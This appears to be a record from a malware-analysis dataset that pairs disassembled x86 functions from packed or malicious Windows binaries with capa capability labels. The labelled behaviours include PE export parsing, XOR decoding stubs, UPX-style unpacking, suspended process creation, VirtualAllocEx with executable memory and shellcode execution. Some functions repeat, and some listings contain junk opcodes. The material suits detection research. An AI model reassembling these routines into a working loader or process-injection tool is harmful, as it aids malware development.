joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100260d1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100260f3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100260f3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100260f3
ret
cmp word [ebx + 4], 0x14c
jne 0x100260f3
test word [ebx + 0x16], 2
je 0x100260f3
test word [ebx + 0x16], 0x100
je 0x100260f3
cmp word [ebx + 0x18], 0x10b
jne 0x100260f3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100260f3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1002617f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10026113
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000d05e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100260f3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1002617f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100260f3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100260f3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100260f3
ret
cmp word [ebx + 4], 0x14c
jne 0x100260f3
test word [ebx + 0x16], 2
je 0x100260f3
test word [ebx + 0x16], 0x100
je 0x100260f3
cmp word [ebx + 0x18], 0x10b
jne 0x100260f3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100260f3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1002617f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10026113
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000d05e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100260f3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10026236
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002628f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10026236
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10026245
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042bee8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10026296
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000d10c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10026335
add edi, 4
add eax, 2
dec ecx
jne 0x1002627b
call 0x100262e2
loope 0x100262d8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10026332
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10026343
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100262f6
cmp eax, ecx
ja 0x100262f6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10026380
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10026376
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000d5eb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10026245
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002628f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10026236
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10026245
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042bee8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10026296
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000d10c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10026335
add edi, 4
add eax, 2
dec ecx
jne 0x1002627b
call 0x100262e2
loope 0x100262d8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10026332
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10026343
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100262f6
cmp eax, ecx
ja 0x100262f6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10026380
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10026376
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000d5eb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401e10
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411230
mov eax, dword fs:[0]
push eax
sub esp, 0x84c
mov eax, dword [0x41a1a8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov eax, dword [esi]
mov edi, dword [ebp + 8]
push str.CREATE_SUSPENDED
call dword [eax + 0x14]
push 0x400
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x44
lea eax, [ebp - 0x858]
push 0
push eax
call fcn.00406d30
add esp, 0xc
mov ecx, esi
push edi
mov dword [ebp - 4], 0
call fcn.004035d0
push 0x41b2d8
lea ecx, [ebp - 0x858]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push eax
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x401eb6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00404e64
mov esp, ebp
pop ebp
ret 4
Function at 0x402f40
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411470
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x41a1a8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x14], esi
push dword [0x41b2dc]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
mov eax, dword [esi]
mov ecx, esi
jne 0x402fab
push str.NORUN
call dword [eax + 0x14]
mov eax, 0x12c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x41241c
call dword [eax + 0x14]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4032f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403303
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403344
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x403340
jmp 0x403330
cmp esi, edx
jae 0x403344
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x403330
cmp esi, edx
jb 0x403348
xor eax, eax
pop esi
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
ret

Function at 0x4037d0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x411568
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41a1a8]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x1c], esi
mov ebx, dword [esp + 0x38]
mov eax, dword [esp + 0x4c]
inc eax
push eax
mov dword [esp + 0x2c], 0
call fcn.00403f7b
cmp dword [esp + 0x54], 0x10
lea ecx, [esp + 0x40]
cmovae ecx, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x54]
inc ecx
push ecx
push eax
mov dword [esp + 0x28], eax
call fcn.00406dc0
mov ebp, dword [esp + 0x5c]
mov eax, dword [esi]
add esp, 0x10
mov ecx, esi
push str.XOR_Start
inc ebp
call dword [eax + 0x14]
push ebx
call fcn.00405372
mov edi, eax
mov eax, dword [esp + 0x38]
add esp, 4
xor esi, esi
mov dword [esp + 0x14], edi
cmp eax, ebx
jae 0x403899
mov ecx, dword [esp + 0x30]
sub ecx, dword [esp + 0x14]
add edi, eax
sub ebx, eax
lea esp, [esp]
xor eax, eax
cmp esi, ebp
cmove esi, eax
lea edi, [edi + 1]
lea eax, [esi - 1]
cdq
idiv ebp
mov eax, dword [esp + 0x18]
inc esi
mov al, byte [edx + eax + 1]
inc al
xor al, byte [ecx + edi - 1]
mov byte [edi - 1], al
dec ebx
jne 0x403870
mov edi, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
push str.XOR_END
mov eax, dword [ecx]
call dword [eax + 0x14]
cmp dword [esp + 0x50], 0x10
jb 0x4038ba
push dword [esp + 0x3c]
call fcn.00403ffd
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 0x24
Function at 0x403af0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4115c0
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x41a1a8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ecx]
push 0x4123ac
call dword [eax + 0x14]
mov esi, dword [ebp + 8]
push 0x4000
push dword [esi + 0x50]
mov dword [ebp - 4], 0
push dword [esi + 0x34]
push dword [0x41b2d8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [0x41b2d8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40a21a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a1a8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00409d91
mov dword [ebp - 0x14], eax
cmp dword [0x41bfb8], edi
jne 0x40a30b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40a298
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40a3eb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40a3eb
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a3eb
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41bfb8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41bfbc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41bfc0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bfc8], eax
test eax, eax
je 0x40a308
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bfc4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40a330
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40a323
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40a345
push 4
pop eax
jmp 0x40a3ed
cmp dword [ebp - 0x14], edi
je 0x40a345
push dword [0x41bfb8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40a32a
mov eax, dword [0x41bfc4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40a3a3
cmp dword [0x41bfc8], esi
je 0x40a3a3
push eax
call ebx
push dword [0x41bfc8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40a3a3
test eax, eax
je 0x40a3a3
call ecx
test eax, eax
je 0x40a398
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40a398
test byte [ebp - 8], 1
jne 0x40a3a3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40a3d3
mov eax, dword [0x41bfbc]
cmp eax, esi
je 0x40a3d0
push eax
call ebx
test eax, eax
je 0x40a3d0
call eax
mov edi, eax
test edi, edi
je 0x40a3d0
mov eax, dword [0x41bfc0]
cmp eax, esi
je 0x40a3d0
push eax
call ebx
test eax, eax
je 0x40a3d0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41bfb8]
call ebx
test eax, eax
je 0x40a3eb
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40a3ed
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404e64
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x471910
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x471aa1
pushal
mov esi, 0x44802e
lea edi, [esi - 0x4702e]
push edi
or ebp, 0xffffffff
jmp 0x47193a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x471941
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x471930
mov eax, 1
add ebx, ebx
jne 0x471953
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x471948
jne 0x471964
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471948
xor ecx, ecx
sub eax, 3
jb 0x471978
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4719ea
mov ebp, eax
add ebx, ebx
jne 0x471983
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x471990
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4719b4
inc ecx
add ebx, ebx
jne 0x4719a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x471995
jne 0x4719b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471995
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4719d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4719c5
jmp 0x471936
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4719d4
add edi, ecx
jmp 0x471936
pop esi
mov edi, esi
mov ecx, 0x27be
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4719f2
cmp byte [edi], 0xd
jne 0x4719f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4719f7
lea edi, [esi + 0x6b000]
mov eax, dword [edi]
or eax, eax
je 0x471a6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x715d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x716a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x471a24
mov ecx, edi
jns 0x471a53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x716a4]
or eax, eax
je 0x471a69
mov dword [ebx], eax
add ebx, 4
jmp 0x471a41
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x471aa0
cmp al, 0xef
ja 0x471a93
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x471a75
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x471a82
popal
jmp section..text
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
imul esi
sbb edi, 0xbe
ror esi, 0x19
neg edi
sub ebx, 0x52
imul edi
rcr esi, 0x9b
bswap edx
add esi, 0x80
bswap esi
rcr eax, 0x27
neg edx
or edx, 0xa1
bswap ebx
not esi
or eax, 1
neg esi
sub ebx, 0x6a
neg edx
rcl edi, 0x21
dec eax
inc esi
bswap edx
bswap esi
rcr edi, 0xa3
ror ebx, 0xff
and edx, 0xa6
and ebx, 0xf2
dec eax
rol edi, 0x94
ror edx, 0x30
dec edx
sbb edx, 0x8d
not edx
inc eax
dec edi
rcl esi, 0x17
bswap edi
inc eax
inc eax
rcl eax, 0x1c
dec ebx
inc eax
dec ebx
mov eax, 0x22
imul eax
rcr ebx, 0xb5
dec eax
ror edx, 0x11
inc esi
xor ecx, ecx
xor edi, edi
rcr edx, 0x93
neg edx
neg edi
dec esi
not ebx
bswap edi
rol eax, 0x2c
neg edi
not edx
neg edi
sub eax, 0xde
imul edx
rcr ebx, 0xdf
inc edi
neg ebx
inc edi
or edi, 0xcd
sbb esi, 0x31
mov esi, 0x9a
bswap edi
inc esi
ror eax, 0xa3
dec esi
inc esi
bswap ebx
rcr edx, 0x4f
sbb ebx, 0x6c
neg esi
rcl ebx, 0x5b
not esi
rcl ebx, 0x6f
and edx, 0x64
inc edi
add eax, 0x67
sbb esi, 0xb2
sbb esi, 0x24
bswap esi
inc edi
not ebx
dec ebx
imul edx
dec edx
and esi, 0x5d
bswap edi
mov ebx, 0x5f
imul ebx
neg edx
or edi, 0xfe
not esi
not esi
mov ecx, dword [ebp + 0xc]
dec edx
rcl eax, 0x36
rcl eax, 0xbf
imul eax
bswap ebx
mov ebx, 0xcf
dec esi
imul edx
neg edi
dec ebx
or edi, 0xa3
bswap ebx
bswap edi
rcl esi, 0x63
neg ebx
imul ebx
rcl eax, 0x94
ror edx, 0x6b
dec ebx
neg edi
bswap edi
imul eax
rcl esi, 0xcc
dec esi
add edi, 0xaa
imul esi
rcr esi, 0xeb
rcr ebx, 0xa1
neg ebx
imul edi
and edx, 0xfd
rcr ebx, 0xb1
ror esi, 0x73
ror esi, 0x4a
not edi
neg edi
rol ebx, 0x30
and eax, 0x6d
mov edx, 0x92
rol esi, 0x51
rcl esi, 0xeb
not ebx
rcl edi, 0x89
rol ebx, 0xf
dec esi
sub eax, 0x7a
add ebx, 0xf4
inc ebx
and ebx, 0x1a
rcl edi, 0x4d
mov edi, dword [ebp + 8]
xor ebx, eax
xor esi, ebx
xor esi, eax
mov esi, ebx
mov eax, ebx
xor ebx, eax
xor eax, esi
xor eax, ebx
xor esi, eax
mov eax, esi
xor eax, esi
mov esi, ebx
not byte [edi]
mov ebx, ebx
xor eax, eax
mov esi, eax
xor esi, eax
xor ebx, eax
mov eax, eax
mov ebx, esi
xor ebx, ebx
xor esi, esi
sub byte [edi], 0x46
mov eax, ebx
xor eax, ebx
mov eax, ebx
xor esi, ebx
mov eax, ebx
mov ebx, esi
xor esi, eax
mov eax, esi
mov ebx, ebx
add byte [edi], 0x88
xor esi, eax
mov esi, ebx
mov ebx, esi
xor eax, eax
mov eax, eax
mov esi, esi
xor esi, esi
mov esi, eax
mov ebx, ebx
imul byte [edi]
inc edi
loop 0x4011a0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4058cb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40590a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40590a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40590a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40590a
cmp dword [ecx + 0x74], 0xe
jbe 0x40590a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40b406
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b4a3
push ebx
push esi
call fcn.0040b3cf
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b318
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b450
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b4a2
push edi
push eax
call fcn.0040c006
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b470
call fcn.00409f41
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b4a1
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b318
add esp, 0x20
test eax, eax
jne 0x40b48f
push edi
call fcn.00409f41
jmp 0x40b497
push ebx
call fcn.00409f41
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40c789
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4156a0
push 0x415698
push str.FlsAlloc
push 0x1e
call fcn.0040c64a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c7bd
push dword [ebp + 8]
mov ecx, esi
call dword [0x413130]
call esi
jmp 0x40c7c3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40c807
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4156b0
push 0x4156a8
push str.FlsGetValue
push 0x20
call fcn.0040c64a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c83e
push dword [ebp + 8]
mov ecx, esi
call dword [0x413130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x411cc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x411ced
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x411ced
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret